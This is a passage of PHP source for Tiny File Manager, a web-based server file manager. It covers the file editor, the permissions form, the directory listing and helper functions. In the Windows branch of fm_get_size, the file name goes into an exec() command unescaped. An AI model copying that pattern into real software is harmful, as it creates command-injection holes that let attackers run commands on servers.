    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg('File Saved Successfully');
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);

    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                if ($calc_folder) {
                    $filesize_raw = fm_get_directorysize($path . '/' . $f);
                    $filesize = fm_get_filesize($filesize_raw);
                }
                else {
                    $filesize_raw = "";
                    $filesize = lng('Folder');
                }
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>                                                                                                                           
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"> 
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td class="gray"></td><?php endif; ?>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
                            <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
                            <?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?>
                            <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </td>
                    </tr>
                </tfoot>
                <?php
            }
            ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>

</form>

<?php
fm_show_footer();

//--- END

// Functions

/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;

    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }

    return $allowed;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!$isFileAllowed) return false;

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    } 
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory) {
    global $calc_folder;
    if ($calc_folder==true) { //  Slower output
      $size = 0;  $count= 0;  $dirCount= 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
    if ($file->isFile())
        {   $size+=$file->getSize();
            $count++;
        }
    else if ($file->isDir()) { $dirCount++; }
    // return [$size, $count, $dirCount];
    return $size;
    }
    else return 'Folder'; //  Quick output
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => zip_entry_filesize($zip_entry),
                    'compressed_size' => zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
